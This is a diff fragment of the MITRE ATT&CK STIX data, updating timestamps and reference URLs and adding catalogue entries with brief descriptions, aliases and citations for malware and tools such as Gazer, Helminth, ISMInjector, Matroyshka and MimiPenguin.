+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FinFisher"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.973Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Flame",
             "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)\n\nAliases: Flame, Flamer, sKyWIper",
             "labels": [
@@ -17809,7 +18873,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ],
             "object_marking_refs": [
@@ -17826,7 +18890,7 @@
             "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.526Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GLOOXMAIL",
             "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK",
             "labels": [
@@ -17852,12 +18916,46 @@
                 "Trojan.GTALK"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Gazer",
+            "description": "Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)\n\nAliases: Gazer, WhiteBear\n\nContributors: Bartosz Jerzman",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0168",
+                    "external_id": "S0168"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Gazer",
+                "WhiteBear"
+            ],
+            "x_mitre_contributors": [
+                "Bartosz Jerzman"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.177Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GeminiDuke",
             "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke",
             "labels": [
@@ -17887,7 +18985,7 @@
             "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.910Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "H1N1",
             "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)\n\nAliases: H1N1",
             "labels": [
@@ -17917,7 +19015,7 @@
             "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HALFBAKED",
             "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)\n\nAliases: HALFBAKED",
             "labels": [
@@ -17947,7 +19045,7 @@
             "id": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:29.203Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HAMMERTOSS",
             "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke",
             "labels": [
@@ -17984,7 +19082,7 @@
             "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.801Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HDoor",
             "description": "HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)\n\nAliases: HDoor, Custom HDoor",
             "labels": [
@@ -18015,7 +19113,7 @@
             "id": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:17.272Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HIDEDRV",
             "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)\n\nAliases: HIDEDRV",
             "labels": [
@@ -18050,7 +19148,7 @@
             "id": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:32.011Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HTRAN",
             "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks.  (Citation: Operation Quantum Entanglement)\n\nAliases: HTRAN, HUC Packet Transmit Tool",
             "labels": [
@@ -18081,7 +19179,7 @@
             "id": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:46.445Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HTTPBrowser",
             "description": "HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)\n\nAliases: HTTPBrowser, Token Control, HttpDump",
             "labels": [
@@ -18123,7 +19221,7 @@
             "id": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.389Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hacking Team UEFI Rootkit",
             "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)\n\nAliases: Hacking Team UEFI Rootkit",
             "labels": [
@@ -18148,12 +19246,45 @@
                 "Hacking Team UEFI Rootkit"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Helminth",
+            "description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0170",
+                    "external_id": "S0170"
+                },
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Helminth"
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:56.860Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hi-Zor",
             "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)\n\nAliases: Hi-Zor",
             "labels": [
@@ -18183,7 +19314,7 @@
             "id": "malware--95047f03-4811-4300-922e-1ba937d53a61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.124Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hikit",
             "description": "Hikit is malware that has been used by  (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)\n\nAliases: Hikit",
             "labels": [
@@ -18208,12 +19339,45 @@
                 "Hikit"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "ISMInjector",
+            "description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0189",
+                    "external_id": "S0189"
+                },
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "ISMInjector"
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:16.360Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ixeshe",
             "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe",
             "labels": [
@@ -18243,7 +19407,7 @@
             "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:34.199Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "JHUHUGIT",
             "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH",
             "labels": [
@@ -18258,7 +19422,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "F-Secure Sofacy 2015",
@@ -18292,7 +19456,7 @@
             "id": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Janicab",
             "description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases:  (Citation: Janicab)",
             "labels": [
@@ -18322,7 +19486,7 @@
             "id": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "KOMPROGO",
             "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)\n\nAliases: KOMPROGO",
             "labels": [
@@ -18352,7 +19516,7 @@
             "id": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:57.344Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Kasidet",
             "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)\n\nAliases: Kasidet",
             "labels": [
@@ -18382,7 +19546,7 @@
             "id": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Komplex",
             "description": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to  (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).\n\nAliases: Komplex",
             "labels": [
@@ -18417,7 +19581,7 @@
             "id": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:33.348Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LOWBALL",
             "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL",
             "labels": [
@@ -18447,7 +19611,7 @@
             "id": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.962Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lslsass",
             "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)\n\nAliases: Lslsass",
             "labels": [
@@ -18477,7 +19641,7 @@
             "id": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.527Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lurid",
             "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)\n\nAliases: Lurid, Enfal",
             "labels": [
@@ -18508,14 +19672,82 @@
                 "Enfal"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Matroyshka",
+            "description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0167",
+                    "external_id": "S0167"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Matroyshka"
+            ]
+        },
+        {
+            "type": "tool",
+            "id": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "MimiPenguin",
+            "description": "is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0179",
+                    "external_id": "S0179"
+                },
+                {
+                    "source_name": "MimiPenguin GitHub May 2017",
+                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
+                    "url": "https://github.com/huntergregal/mimipenguin"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_aliases": [
+                "MimiPenguin"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.544Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mimikatz",
-            "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz",
+            "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux",
             "labels": [
                 "tool"
             ],
@@ -18539,6 +19771,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
             "x_mitre_aliases": [
                 "Mimikatz"
             ]
@@ -18548,7 +19783,7 @@
             "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:16.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Miner-C",
             "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner",
             "labels": [
@@ -18580,7 +19815,7 @@
             "id": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.919Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MiniDuke",
             "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke",
             "labels": [
@@ -18610,7 +19845,7 @@
             "id": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mis-Type",
             "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)\n\nAliases: Mis-Type",
             "labels": [
@@ -18640,7 +19875,7 @@
             "id": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.126Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Misdat",
             "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)\n\nAliases: Misdat",
             "labels": [
@@ -18670,7 +19905,7 @@
             "id": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mivast",
             "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)\n\nAliases: Mivast",
             "labels": [
@@ -18700,7 +19935,7 @@
             "id": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:53.681Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MobileOrder",
             "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: MobileOrder",
             "labels": [
@@ -18730,7 +19965,7 @@
             "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.016Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MoonWind",
             "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)\n\nAliases: MoonWind",
             "labels": [
@@ -18760,7 +19995,7 @@
             "id": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:27.787Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NETEAGLE",
             "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)\n\nAliases: NETEAGLE",
             "labels": [
@@ -18790,7 +20025,7 @@
             "id": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.851Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Net Crawler",
             "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)\n\nAliases: Net Crawler, NetC",
             "labels": [
@@ -18821,7 +20056,7 @@
             "id": "tool--03342581-f790-4f03-ba41-e82e67392e23",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:31.601Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Net",
             "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using <code>net use</code> commands, and interacting with services.\n\nAliases: Net, net.exe",
             "labels": [
@@ -18857,7 +20092,7 @@
             "id": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:25.361Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NetTraveler",
             "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler",
             "labels": [
@@ -18887,7 +20122,7 @@
             "id": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.842Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Nidiran",
             "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)\n\nAliases: Nidiran, Backdoor.Nidiran",
             "labels": [
@@ -18918,7 +20153,7 @@
             "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:18.946Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OLDBAIT",
             "description": "OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: OLDBAIT, Sasfis",
             "labels": [
@@ -18944,12 +20179,42 @@
                 "Sasfis"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "OSInfo",
+            "description": "is a custom tool used by APT3 to do internal discovery on a victim's computer and network.  (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0165",
+                    "external_id": "S0165"
+                },
+                {
